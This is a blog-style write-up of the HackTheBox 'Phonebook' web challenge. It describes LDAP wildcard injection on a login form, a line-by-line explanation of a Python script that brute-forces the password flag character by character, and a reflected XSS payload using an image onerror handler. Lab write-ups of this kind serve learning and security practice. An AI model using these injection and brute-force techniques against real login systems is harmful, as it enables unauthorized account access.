Skip to main content

Phonebook: HackTheBox Web challenge My Perspective

HackTheBox Playlist:

First I looked for any cookie,then I thought it was an SQL injection:

Then I used FFuF but did’nt find anything interesting.Ffuf is a fest web fuzzer written in Go that allows typical directory discovery, virtual host discovery (without DNS records) and GET and POST parameter fuzzing.

Vulnerability:

I see that note from Reese stated that we can login using the workstation’s username and password. This gives us a hint that it is probably usingLDAP authentication.

Let,s test:

It is using LDAP authentication.

Then I searched for the user Reese. The results prove that the user exists.If I enter “ A* ” into the search filter, hoping that all names will appear.

So I tried with the username with an asterisk (*) as password.

This works.I think the flag may be the password so I tried this:

'username': 'Reese','password': 'HTB{*'

It works. So let’s construct a python code to bruteforce the flag:

You can find the code here:

  1. import requests: This imports the requests library, which allows Python to send HTTP requests using simple commands.
  2. import string: This imports the string module, which provides various string-related functions.
  3. ip = '161.35.36.167:30840': This defines a variable ip which holds the IP address and port of the target website.
  4. url = f'http://{ip}/login': This creates a string url which holds the URL of the login page of the target website.
  5. check = f'http://{ip}/': This creates a string check which holds the URL of the home page of the target website.
  6. alphabet = list(string.ascii_lowercase + string.digits + string.punctuation + string.whitespace): This creates a list alphabet which contains all lowercase letters, digits, punctuation marks and whitespace characters.
  7. alphabet.remove('*'): This removes the * character from the alphabet list.
  8. data = {'username': 'Reese', 'password': 'anything'}: This creates a dictionary data with two key-value pairs, where the username is Reese and the password is anything.
  9. result = 'HTB{': This initializes a string result to HTB{.
  10. flag = True: This sets a boolean variable flag to True.
  11. while flag:: This starts a while loop which runs as long as flag is True.
  12. for a in alphabet:: This starts a for loop which iterates over each character a in the alphabet list.
  13. data['password'] = result + a +'*': This sets the value of password in the data dictionary to a combination of resulta and *.
  14. res = requests.post(url, data=data).url: This sends a POST request to the login page of the target website with the data dictionary as the payload, and assigns the URL of the response to the res variable.
  15. if res == check:: This checks if the res variable is equal to the check variable.
  16. result += a: This appends the character a to the result variable.
  17. print(result): This prints the current value of the result variable.
  18. if a == '}': flag = False: This checks if the character a is equal to }, and sets the flag variable to False if it is.
  19. break: This exits the for loop and continues with the while loop.
  20. print(result): This prints the final value of the result variable

I also found an XSS Vulnerability:

http://183.163.135.60:45329/login?message=Authentication failed

What ever is in the message is written on the page:

But it blocks script tag so in used an image tag, payload:

<img src=x onerror=alert(‘Adi’)> , and it worked.

Comments